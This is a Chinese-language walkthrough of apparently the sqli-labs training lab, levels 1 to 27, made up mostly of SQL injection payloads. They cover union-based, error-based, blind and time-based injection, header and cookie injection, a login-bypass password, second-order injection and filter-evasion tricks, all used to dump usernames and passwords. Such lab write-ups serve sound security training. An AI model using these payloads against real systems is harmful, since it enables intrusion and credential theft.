————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————
1、先造轮子
-1' union select 1,2,3 --+
2、轮子变形爆出数据库(security)
-1' union select 1,schema(),database() --+
3、爆出表名(users)
-1' union select 1,schema(),group_concat(table_name) from information_schema.tables where table_schema='security' --+
4、爆出字段名(id,username,password)
-1' union select 1,schema(),group_concat(column_name) from information_schema.columns where table_name='users' --+

第一关:字符型
/less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +

第二关:数字型
/less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +

第三关:字符型+括号闭合(单引号)
/less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +

第四关:字符型+括号闭合(双引号)
/less-4/?id=-1" )union select 1,2,group_concat(username,0x7e,password,0x7e) from users -- +

第五关:布尔盲注(单引号)
/less-5/?id=1' and extractvalue(1,concat(0x7e,database())) -- +,爆出库名security

第六关:布尔盲注(双引号)
/less-6/?id=1" and extractvalue(1,concat(0x7e,database())) -- +,爆出库名security

第七关:布尔盲注(双括号)
/less-7/?id=1')) and length((select database()))=8 -- +,爆出库名8位

/less-7/?id=1')) and mid((select database()),1,1)='a' -- +,遍历8位,爆出库名security

第八关:布尔盲注(单引号)
/less-8/?id=1' and length((select database()))=8 -- +,爆出库名8位

/less-8/?id=1')) and mid((select database()),1,1)='a' -- +,遍历8位,爆出库名security

第九关:时间盲注(单引号)
/less-9/?id=1' and if(length((select database()))=8,sleep(0),sleep(1)) -- +,爆出库名8位
/less-9/?id=1' and if(mid((select database()),1,1)='s',sleep(0),sleep(1)) -- +,遍历8位,爆出库名security

第十关:时间盲注(双引号)
/less-10/?id=1" and if(length((select database()))=8,sleep(0),sleep(1)) -- +,爆出库名8位
/less-10/?id=1" and if(mid((select database()),1,1)='s',sleep(0),sleep(1)) -- +,遍历8位,爆出库名security

第十一关:用户名输入栏注入(单引号)

当用户名输入1',出现报错信息。根据报错信息可以推断该sql语句 -- username='参数' and password='参数'

使用万能密码1' or 1=1 --+

变更--+为#,即万能密码:1' or 1=1 #,成功显示了账号和密码

再次变更轮子,1' union select 1,2 #

继续变更轮子:1' union select database(),user() #

继续使用变形,可以爆出数据库及表名,字段名

第十二关:用户名输入栏注入(双引号)

使用1,1',1''都没有报错,尝试使用双引号,报错

根据提示可以猜测sql为-- username=("") and password=("")
变形轮子:1") or 1=1#

继续变形:1") union select 1,2#

继续~~:1") union select user(),database()#

继续使用变形,可以爆出数据库及表名,字段名

第十三关:用户名输入栏注入(单引号)

使用单引号1',报错

根据提示可以猜测sql为-- username=('') and password=('')
变形轮子,爆出数据库: 1') and extractvalue(1,concat(0x7e,database()))#

第十四关:用户名输入栏注入(双引号)

当用户名输入1",出现报错信息。根据报错信息可以推断该sql语句 -- username="参数" and password="参数"
image
变形轮子,爆出数据库:1" and extractvalue(1,concat(0x7e,database()))#

第十五关:(布尔注入单引号)
使用万能密码,当密码为 1' or 1=1#成功登录

变形轮子: 1' or length(database())=1#
遍历数据库长度,发现数据库长度为8
image

继续变形轮子: 1' or mid(database(),1,1)='s'#
遍历8位值,得出数据库名称为:security

第十六关:(布尔注入单引号+括号)

使用万能密码,当密码为 1") or 1=1#成功登录

变形轮子: 1") or length(database())=1#
遍历数据库长度,发现数据库长度为8
image
继续变形轮子: 1") or mid(database(),1,1)='s'#
遍历8位值,得出数据库名称为:security

第十七关:(密码重置)

需要输入正确的用户名和新密码

用户名:admin
新密码(爆出数据库security):1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#
image

用户名:admin
新密码(爆出用户表users):
1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

用户名:admin
新密码(爆出列名):
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

展示不完全,用截取函数多次展示
1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),1,32),0x7e))#

1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),33,32),0x7e))#

1' and extractvalue(1,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name='users'),64,32),0x7e))#
image

继续往下爆出表名和列名~~

用户名:admin
新密码(爆出数据):
1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from (select username,password from users)a),0x7e))#
image

显示不完整,用截取函数多次展示即可

第十八关:UA(User-Agent)注入

UA爆库一:1',2,extractvalue(1,concat(0x7e,database(),0x7e)))#
image

UA爆库二:'and extractvalue(1,concat(0x7e,database(),0x7e)) and '
image

继续爆出表名:
1',2,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
image

然后是列名:

1',2,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
image

继续上截取函数~~

第十九关:referfer注入

爆库一:1',extractvalue(1,concat(0x7e,database(),0x7e)))#
image

爆库二:'and extractvalue(1,concat(0x7e,database(),0x7e)) and '
image

继续爆出表名:
1',extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#
image

然后是列名:
1',extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)))#
image

继续上截取函数~~

第二十关:cookie注入

爆库:'and extractvalue(1,concat(0x7e,database(),0x7e))#
image

爆表:
'and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))#
image

然后就是爆出列名及数据了--和上面的关卡一样,不再赘述

第二十一关:cookie注入(base64编码+括号)

payload——admin')and extractvalue(1,concat(0x7e,database(),0x7e))#
base64编码:
YWRtaW4nKWFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpKSM=

编码后的payload带入报文,爆出数据库:

步骤和第二十关一致了,区别是要对发送的cookie参数进行base64编码~~~

第二十二关:cookie注入(base64编码+双引号)

payload——admin" and extractvalue(1,concat(0x7e,database(),0x7e))#
base64编码:
YWRtaW4iIGFuZCBleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSxkYXRhYmFzZSgpLDB4N2UpKSM=

编码后的payload带入报文,爆出数据库:

步骤和第二十关一致了,区别是要对发送的cookie参数进行base64编码~~~

第二十三关:注释符被过滤

使用/Less-23/?id=-1' union select 1,2' 不断加数字

发现最终展示列数为3,/Less-23/?id=-1' union select 1,2,3'

变形轮子,爆出数据库:/Less-23/?id=-1' union select 1,database(),3'

再继续变形轮子,爆出表名以及列名。最终查出数据
/Less-23/?id=-1' union select 1,(select group_concat(username,password) from users),3'

第二十四关:二次注入
我们不知道admin的密码,但是可以注册个用户admin'#。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

使用用户名admin'#和密码登录,进入修改密码页面。原始密码输入1,新密码我输入的是123456,可以看到密码修改成功

第二十五关:and和or被替换成空,双写绕过

爆数据库:/Less-25/?id=-1' union select 1,database(),3'

爆表名(库名information_schema有or需要双写绕过):
/Less-25/?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'),3'
爆数据(字段password有or需要双写绕过)
/Less-25/?id=-1' union select 1,(select group_concat(username,passwoorrd) from users),3'

第二十六关:逻辑运算符,注释符以及空格被过滤
逻辑运算符绕过:使用双写绕过或者使用&&和||替换。过滤注释符之后,需要用or '1'='1'闭合单引号。
空格绕过有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格
爆数据库的payload:
/Less-26/?id=-1'aandnd(extractvalue(1,concat(0x7e,database())))oorr'1'='1

爆表payload:
/Less-26/?id=1'aandnd(extractvalue(1,concat(0x7e,substr((select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security')),1,31),0x7e)))oorr'1'='1

然后就是变形爆出列名~~

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表

?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段

第二十七关:select和union被过滤(双写或大小写绕过)
爆库:
1' and(extractvalue(1,concat(0x7e,schema()))) and '1
爆表:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')))))and'1
爆列:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))and'1

展示不完全,用截取函数多次展示
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),1,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),32,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),64,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),96,31))))and'1
1'and(extractvalue(1,concat(0x7e,substr((SElect(group_concat(column_name))from(information_schema.columns)where(table_name='users')),128,31))))and'1

爆账号密码:
1'and(extractvalue(1,concat(0x7e,(SElect(group_concat(password,username))from(users)))))and'1